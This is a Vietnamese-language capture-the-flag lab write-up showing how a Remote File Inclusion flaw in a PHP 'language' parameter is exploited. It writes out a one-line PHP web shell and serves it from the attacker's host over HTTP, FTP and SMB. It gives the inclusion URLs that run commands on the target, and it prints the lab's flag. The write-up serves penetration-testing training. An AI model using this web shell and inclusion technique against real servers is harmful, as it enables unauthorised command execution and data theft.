1. Attack the target, gain command execution by exploiting the RFI vulnerability, and then look for the flag under one of the directories in /

Kiểm tra xem có thể sử dụng RFI không bằng cách include 1 url cục bộ

```bash

/index.php?language=http://127.0.0.1:80/index.php

```

A screenshot of a computer

Description automatically generated

Include url cục bộ thành công -> Tồn tại lỗ hổng RFI

Khởi tạo một Webshell.php

```bash

echo '<?php system($\_GET["cmd"]); ?>' > WebShell.php

```

A computer screen shot of text

Description automatically generated

**Khởi tạo một http server**

```bash

python3 -m http.server 80

```

A computer screen shot of a computer code

Description automatically generated

```bash

<http://10.129.29.114/index.php?language=http://10.10.14.204:80/WebShell.php&cmd=ls+-l+/>

```

A screenshot of a computer

Description automatically generated

Ta liệt kê các file và thư mục trong đường dẫn /exercise thì thấy file flag là flag.txt

```bash

/index.php?language=http://10.10.14.204:80/WebShell.php&cmd=ls+-l+/exercise

```

A screenshot of a computer

Description automatically generated

Đọc file flag.txt

```bash

/index.php?language=http://10.10.14.204:80/WebShell.php&cmd=cat+/exercise/flag.txt

```

A screenshot of a computer

Description automatically generated

P/s: 99a8fc05f033f2fc0cf9a6f9826f83f4

Tiếp tục thử include các server ftp và smb

Setup pyftpdlib

```bash

pip3 install pyftpdlib --break-system-packages

```

A computer screen with white text

Description automatically generated

**Khởi tạo server ftp**

```bash

python3 -m pyftpdlib -p 21

```

A screen shot of a computer

Description automatically generated

```bash

/index.php?language=ftp://10.10.16.7:21/WebShell.php&cmd=ls+-l+/

```

A screenshot of a computer

Description automatically generated

```bash

/index.php?language=ftp://10.10.16.7:21/WebShell.php&cmd=cat+/exercise/flag.txt

```

A screenshot of a computer

Description automatically generated

**Khởi tạo server smb**

```bash

impacket-smbserver -smb2support share $(pwd)

```

A computer screen with white text

Description automatically generated

```bash

index.php?language=\\10.10.16.7\share\WebShell.php&cmd=cat+/exercise/flag.txt

```

A screenshot of a computer

Description automatically generated

Không RFI với server smb